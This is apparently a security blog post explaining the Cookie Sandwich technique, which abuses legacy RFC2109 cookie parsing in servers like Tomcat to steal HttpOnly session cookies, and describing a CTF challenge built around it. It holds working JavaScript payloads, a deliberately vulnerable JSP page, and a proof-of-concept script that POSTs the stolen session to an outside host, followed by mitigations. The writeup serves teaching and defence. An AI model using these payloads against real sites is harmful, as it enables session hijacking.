Overview

The Cookie Sandwich Attack is a technique that exploits the differences between the RFC6265 (modern) and RFC2109 (legacy) cookie parsing specifications to extract HttpOnly cookies that would normally be inaccessible to client-side JavaScript.

This vulnerability arises in web servers that support both modern and legacy cookie parsing methods, especially when:

1. The server defaults to legacy parsing, or
2. The server switches to legacy parsing when it detects the $Version keyword

The key issue is that these two parsing methods handle quotation marks (") differently, which attackers can abuse to “sandwich” an HttpOnly cookie between crafted malicious cookies.

Technical Background

To understand the vulnerability, let’s first examine the relevant RFC standards:

RFC2109 (Legacy Cookie Spec, 1997)

• First defined cookie structure and transmission methods
• Implemented quotation mark handling where quoted values are treated as a single string
• Had many implementation and compatibility issues

RFC2965 (Updated Legacy Spec, 2000)

• Complemented RFC2109 by adding metadata attributes (Version, Port, CommentURL)
• Not widely adopted as browsers moved toward RFC6265

RFC6265 (Modern Cookie Spec, 2011)

• The de facto standard used by modern web browsers and servers
• Cookie name-value pairs are strictly separated by semicolons
• Quotation marks are treated as part of the value, with no special handling

The Vulnerability

Servers like Tomcat that aim to maintain backward compatibility implement support for both parsing modes. They typically switch to RFC2109/2965 (legacy) parsing when the $Version parameter is detected in the cookie request header, otherwise defaulting to RFC6265 (modern) parsing.

This compatibility choice opens the door to the Cookie Sandwich Attack. Here’s how it works:

Example Scenario

Imagine a web application where an attacker has gained script execution capabilities (via XSS), but the session cookie (JSESSIONID) is protected with the HttpOnly flag:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E

With normal JavaScript, the attacker cannot access this cookie due to the HttpOnly protection. However, using the Cookie Sandwich technique, they can execute code like:

document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;

The modern parser (RFC6265) would interpret these as three separate cookies:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"

However, the legacy parser (RFC2109) would interpret this quite differently:

param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"

Notice how the JSESSIONID cookie is now “sandwiched” between param1 and param2, creating a situation where its value becomes accessible to the attacker.

The Cookie Order Trick

For this attack to work effectively, cookie order is key. The $Version=1 cookie needs to be processed first to trigger legacy parsing mode. Since cookies are generally processed in the order they were created, attackers need to control this sequence.

This is where the path attribute of cookies becomes important. Browsers sort cookies based on path specificity, which allows attackers to manipulate the order. By setting specific paths for different cookies, attackers can ensure their cookies are processed in the correct sequence to exploit the vulnerability.

Practical Demonstration

Here’s a practical example showing how the attack works:

Initially, we have a normal HttpOnly cookie (JSESSIONID):

When we execute the JavaScript to create the cookie sandwich:

document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';

And refresh the page, the server-side parsing (using legacy mode) sees the cookies combined as a single value:

If we were to refresh the page without carefully crafting our attack, the JSESSIONID would be regenerated and might appear in a different order, breaking our sandwich:

Similarly, if we don’t set the path attribute correctly on the $Version cookie, the attack fails:

Framework-Specific Variations

Different frameworks require slightly different payload formats to successfully exploit this vulnerability:

Flask:  {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
PHP:    {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby:   {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}

Practical Exploitation

A real-world exploitation would typically involve:

1. Identifying a server that uses legacy cookie parsing or can be switched to it
2. Executing JavaScript (through XSS or other means) to create the cookie sandwich
3. Making a request to a specific endpoint that returns cookie data
4. Extracting the HttpOnly cookie from the response

Creating a Wargame Challenge

I created a Cookie Sandwich wargame challenge to demonstrate this vulnerability. Creating a proper CTF challenge was more complex than I initially anticipated and took an entire day to complete.

The challenge implements a simplified version of the scenario described in the reference materials. Since I needed an admin bot to test the vulnerability, I had to consider the best approach. Directly porting Chromium into the JSP environment proved technically challenging, so I opted for a different approach. I created separate containers and implemented the admin functionality through Docker networking.

Configuring the correct chromedriver version was particularly tricky, so I used an existing image by tonyp7 to simplify the implementation:

version: '3.8'

services:
  tomcat:
    build: 
      context: ./tomcat
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    volumes:
      - ./tomcat/app:/usr/local/tomcat/webapps/ROOT
    environment:
      - CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false 
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    networks:
      - internal 

  bot:
    image: tonyp7/flask-selenium-chromedriver-alpine:latest
    shm_size: '2gb'
    build: 
      context: ./bot
      dockerfile: Dockerfile
    depends_on:
      - tomcat
    networks:
      - internal
    ports:
      - "8000:8000"
    environment:
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - GUNICORN_CMD_ARGS=--workers=1 --timeout=120
    deploy:
      resources:
        limits:
          memory: 1G

networks:
  internal:
    driver: bridge

The core of the challenge is in the json.jsp file. When a client sends a request, the server returns cookie data but specifically excludes the JSESSIONID cookie. Since the JSESSIONID cookie in Tomcat is set as HttpOnly by default, it becomes a perfect target for the Cookie Sandwich attack:

<%@ page contentType="application/json;charset=UTF-8" %>
<%
    String leaked = "";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if (!"JSESSIONID".equals(c.getName())) {
                leaked = c.getValue();
                break;
            }
        }
    }
    leaked = leaked.replace("\"","\\\"");
    out.print("{\"session\":\"" + leaked + "\"}");
%>

The proof of concept for solving this challenge is as follows:

<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';

fetch('/json.jsp', {
  credentials: 'include'
})
  .then(r => r.json())
  .then(data => {
    return fetch('http://fooo1.com:5555/', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

A minified one-line version is also available for situations where character space is limited:

<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>

When executed successfully, the attacker can capture the HttpOnly cookie value:

Mitigation

To protect against Cookie Sandwich attacks:

1. Disable legacy cookie parsing modes when not absolutely necessary
2. Apply strict parsing rules that don’t interpret quoted strings across semicolons
3. Implement stronger cookie isolation mechanisms
4. Use modern security headers like SameSite=strict to limit cross-site cookie transmission
5. Consider alternatives to cookie-based authentication for sensitive functions

Conclusion

The Cookie Sandwich Attack demonstrates how seemingly minor differences in parsing specifications can lead to significant security vulnerabilities. It highlights the importance of understanding how different standards interact, especially when backward compatibility is maintained.

Web application developers and security professionals should be aware of this technique and implement appropriate safeguards, particularly for applications that might be using older server technology that supports legacy cookie parsing modes.

References

• PortSwigger Research: Stealing HttpOnly Cookies with the Cookie Sandwich Technique
• SnoopBees Blog: HTTP Cookie Sandwich Attack